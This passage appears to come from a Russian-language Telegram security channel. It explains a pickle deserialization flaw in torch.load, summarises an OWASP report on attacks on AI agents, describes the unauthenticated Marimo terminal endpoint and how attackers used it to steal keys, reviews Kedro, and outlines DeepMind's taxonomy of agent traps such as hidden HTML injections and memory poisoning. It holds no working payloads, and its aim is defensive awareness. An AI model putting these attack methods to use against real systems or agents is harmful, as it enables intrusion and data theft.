➖ Trainer при возобновлении обучения должен восстановить всё состояние процесса:веса модели, learning rate scheduler, состояние генератора случайных чисел (чтобы последовательность случайных чисел при продолжении обучения была такой же, как если бы обучение не прерывалось) и тд.
➖ Для сохранения состояния RNG библиотека transformers создаёт файл rng_state.pth. Это просто файл, куда torch.save() записывает текущее состояние генератора.
➖ Проблема в методе загрузки. Чтобы загрузить состояние обратно, используется torch.load(). Вот код из уязвимой версии (упрощённо):
with safe_globals([torch.random.get_rng_state]):
rng_state = torch.load(rng_state_path) #здесь всё и ломается идет не по плану
Если файл подменён, то 🧑💻внутрь можно положить объект с __reduce__, который выполнит произвольный код при torch.load().
Коварно то 😈, что разработчики попытались обернуть загрузку в safe_globals(), но в версиях PyTorch ниже 2.6 это не сработало: контекст просто превращается в nullcontext, т.е. защита фактически отсутствует.
Уязвимости через небезопасную десериализацию регулярно всплывают в ML. 😓 В Python-экосистеме это старая проблема, ведь pickle никогда не был безопасным форматом. 💩 Аналогичные истории уже происходили, например, в других частях Transformers (в TensorFlow-утилитах), где также использовалась небезопасная загрузка. Похожие классы уязвимостей встречаются и за пределами ML (но об этом в других каналах хаха 🌝).
В мире ML есть дополнительный фактор риска, так как чекпоинты активно распространяются и переиспользуются. Люди скачивают модели с форумов, из GitHub да отовсюду, не задумываясь о том, что файл .pth — потенциально исполняемый объект.
Фикс в CVE-2026-1839 👌 минималистичен, просто добавили weights_only=True, которое ограничивает десериализацию и блокирует выполнение произвольного кода. Но важен 👇
Вывод
Любая загрузка состояния в ML должна рассматриваться как недоверенный ввод. И если библиотека этого не делает по умолчанию, повод задуматься об ошибке всего мл-пайплайна.
Что еще хочется сказать разработчику мл-библиотек?
🤘 Никогда не используй torch.load() (и аналоги в TensorFlow: tf.keras.models.load_model) без weights_only=True для пользовательских файлов.
✌️ Всегда рассматривай любой загружаемый файл (модель, конфиг, чекпоинт) как недоверенный ввод.
👑 Внедряй проверки целостности (например, цифровые подписи) для официальных чекпоинтов (да и не для официальных, потому что дисциплина в этом деле очень важна!).
P.S. Уточню, что формат safetensors (разработанный Hugging Face) изначально безопасен, так как не выполняет код.
Все
🤘 | 0 |
| 17 | OWASP GenAI Exploit Round-up Q1 2026. ”Assume attacker uses AI”
К апрелю 2026 года мы перешли от теоретических угроз к реальной эксплуатации AI-систем. И атакуют уже не модели как таковые, а агентов, их права, цепочки инструментов и supply chain. С интересом анализируем отчет. 👇
Ключевые тренды:
✈️ AI — ускоритель атак
Злоумышленники используют LLM (например, Claude) для автоматизации разведки, генерации эксплойтов, масштабирования атак. Интересным кейсом стала компрометация госорганов Мексики и утечка ~150 ГБ данных.
✈️ Опасная автономность агентов
Агенты начинают действовать без достаточных ограничений, вовсю удаляют данные, игнорируют стоп-команды (ну чисто «выхухоль» для Роберта де Нино (шуточка для пенсионеров)), выполняют деструктивные действия. OpenClaw показал, как умный помощник легко превращается в шорты неконтролируемый скрипт с правами пользователя.
✈️ Trust gap и как человек верит AI
Самая системная проблема — люди исполняют рекомендации AI без валидации. Ну а что? Картам Таро верим 🕯, а тут хотя бы математика под капотом! В Meta это привело к расширению доступа к чувствительным данным внутри компании.
✈️ Identity & Privilege — новая точка атаки
Агенты получают слишком широкие права по умолчанию. В Vertex AI показано, что агент может извлекать credentials, эскалировать привилегии, ходить по внутренним ресурсам
✈️ Supply chain становится критической (мы там выше уже рассматривали парочку кейсов, можешь в отчете еще почитать). Leaked AI tool — теперь стандартный байт для разработчиков.
✈️ Prompt Injection эволюционировал.
✈️ Конфигурация = новый код
Например, уязвимость, в основе которой как раз изменение конфигурации (конфигурация интерпретируется как код), в интересном, кстати, для разработчиков аи-агентов Flowise (CVE-2025-59528) позволяет выполнить произвольный код через CustomMCP, так как пользовательский ввод передаётся в Function() и исполняется без валидации. Эксплуатация даёт полный контроль над Node.js-средой (доступ к child_process, fs).
Главный вывод
Большинство инцидентов НЕ имеют CVE. Почему?
Потому что это
🕯️ не баги, а архитектурные ошибки
🕯️ не уязвимости, а плохие trust boundaries
🕯️не эксплойты (хотя эксплойты тоже), а misuse + design flaws
Читай! И заказывай расклад Таро в личку.
Все
🏋️♀️ | 0 |
| 18 | CVE-2026-39987 и Marimo
Уязвимость CVE-2026-39987 затрагивает Marimo — инструмент для работы с питон-ноутбуками (себя называют некст-дженерейшн, но мне сервис был неизвестен до опубликования уязвимости). Кейс получился показательный, он демонстрирует, насколько быстро сегодня эксплуатируются критические баги, даже без готовых эксплойтов. Ха-ха-ха 🔪
Вся суть заключается в CWE-306. В Marimo существует WebSocket-endpoint /terminal/ws, предназначенный для работы с терминалом. В отличие от других эндпоинтов (например, /ws), где корректно вызывается функция проверки аутентификации, в этом случае разработчики ограничились лишь проверкой режима запуска и поддержки платформы. 🍩 В результате проверка доступа просто отсутствует как таковая. Что значит для нас? Любой атакующий, имеющий сетевой доступ к инстансу Marimo, может установить WebSocket-соединение и сразу получить полноценную PTY-сессию. По факту — это эквивалент удалённого shell-доступа к системе без логина, пароля или токена.
Особенно показателен сценарий эксплуатации. По данным Sysdig, первые атаки начались уже через 9 часов 41 минуту после публичного раскрытия уязвимости. При этом на момент атак не существовало ни публичного PoC, ни готовых эксплойтов. Атакующий, по сути, собрал рабочую цепочку эксплуатации, опираясь исключительно на текст advisory.
Поведение атакующего также указывает на ручную, а не автоматизированную эксплуатацию. После подключения к /terminal/ws он последовательно исследовал файловую систему, искал чувствительные данные (в частности .env файлы и SSH-ключи), возвращался к системе спустя время для повторной проверки и оценки активности других атакующих. 🧘♀️ При этом не наблюдалось установки майнеров или бэкдоров — основной целью был именно сбор данных. Такой паттерн характерен для ручных человеческих атак, когда злоумышленник вручную перебирает цели и извлекает максимум ценной информации. Короче, тут много можно написать, по ссылке есть разбор подробный.
Это типичная архитектурная ошибка, которая заключается в наличии централизованной функции аутентификации (validate_auth()), которая просто не была вызвана в критическом эндпоинте. 🍞 Подобные ошибки особенно опасны, потому что создают ложное ощущение защищённости системы — механизм безопасности есть, но используется не везде.
Подведя итог, отмечу, что дюбая уязвимость с критическим рейтингом, опубликованная публично, гарантированно будет эксплуатирована в течение первых часов. Временное окно между раскрытием (публикацией?) уязвимости и реальными атаками сократилось до минимума.
Все!
🦔
P.S. Тестирование сервиса маримо зашло, рекомендую!) 🎷 Всё автоматически пересчитывается при изменениях, не возникает хаоса как в классическом юпитере. У него большой плюс в том, что он сразу заточен под интерактивность и легко превращается из ноутбука в полноценное приложение или дашборд. | 0 |
| 19 | Инструмент недели. Kedro
Давно не было инструментов недели! Приступим! 👇
Кажется, один из самых недооценённых GitHub-репозиториев для ML-инженеров 😭— это kedro. Более подробно можно почитать тут. Впервые мне он встретился на хабре аж лет 6 назад, но репа обновляется и сейчас, является актуальной.
По своей сути, это фреймворк модульного кода в DS, который переносит лучшие практики классической разработки ПО (модульность, разделение ответственности) в ML-проекты.
Ключевые возможности:
*️⃣ Готовая структура проекта через шаблоны.
*️⃣ Построение и модульная организация конвейеров (пайплайнов).
*️⃣Разделение частей конвейера для гибкости и переиспользования.
*️⃣Внешнее управление настройками данных и параметрами через YAML-файлы.
*️⃣Анализ результатов узлов прямо из юпитер ноутбука.
*️⃣ Визуализация структуры конвейера.
*️⃣Автоматическая генерация документации проекта.
Kedro превращает ML-проект в граф зависимостей между шагами (загрузка 🔜 очистка 🔜 фичи 🔜 обучение 🔜 инференс).
👉 Если поменять фичи, пересчитается только нужная часть, не всё подряд. Больше никаких путей к данным в коде. Один раз описываешь в Data Catalog формат, расположение, способ загрузки. В коде пишешь просто train_data, а не путь на 3 строки.
👉 Чтобы перейти с CSV на S3, меняешь конфиг, не трогая код.
👉 Новый человек в команде за 30–60 минут понимает, где что происходит (а не за 3 дня копания в ноутбуках и пингования ответственных, созвонами, головной болью)
👉 Подходит не только для классического ML. Любые ETL+ML задачи, RAG, порядок во всем.
Пробуй! Как минимум можно вдохновиться и форкнуть под свои задачи/стиль/привычки.
Все.
😙 | 0 |
| 20 | AI Agent Traps (Google DeepMind)
Появился новый термин/класс уязвимостей — AI Agent Traps — атаки не на модель, а на среду, в которой работает агент. В отличие от классических атак на МО или промпт инъекции, здесь атака происходит через нормальные каналы восприятия агента (нормальные - не совсем подходит, но интуитивно "нормальные" 🤣).
Авторы вводят понятие agent traps (специально сконструированные элементы (веб-контент, данные, интерфейсы), которые заставляют агента выполнять нежелательные действия, не ломая модель напрямую, а манипулируя её входом).
Кроме того, дана системная классификация атак по этапам работы агента (помнишь, недавно было про чеклист агентов?). Выделяются шесть типов:
🦷 Content Injection — скрытые инструкции в HTML, CSS, медиа (расхождение между человеческим и машинным восприятием);
📔 Semantic Manipulation — искажение ризонинга через фрейминг и когнитивные эффекты;
🧠 Cognitive State — поизонинг памяти и RAG-баз;
🎰 Behavioural Control — джейлбрейк и принуждение к действиям (например, утечке данных);
🕸 Systemic Traps — атаки на коллективное поведение множества агентов (каскады, congestion, Sybil);
➰ Human-in-the-loop — воздействие на человека через агента.
Особый интерес представляют приведённые результаты: скрытые инъекции в HTML изменяют ответы моделей в 15–29% случаев, а простые промпт инъекции в веб-контенте способны частично перехватывать поведение агентов до 86% сценариев. В мультимодальных настройках универсальные adversarial-примеры (например, картинки) демонстрируют ещё более высокую эффективность, достигая уровней успешности атак, сопоставимых с полноценным джейлбрейками 🚬.
Также показано, что атаки на память и RAG могут иметь долгосрочный эффект, влияя на поведение агента в будущих сессиях при минимальном объёме отравленных данных. Про RAG вообще интересно, а то уже совсем обленились доучивать модели, заменяем рагами и радуемся!
Таким образом, работа не только предлагает концептуальную классификацию, но и подкрепляет её количественными и экспериментальными наблюдениями 😡🤬, демонстрируя и практическую реализуемость описанных угроз и важность пересмотра иб-практик. На почитать жареные факты!
Все!
😋 | 0 |
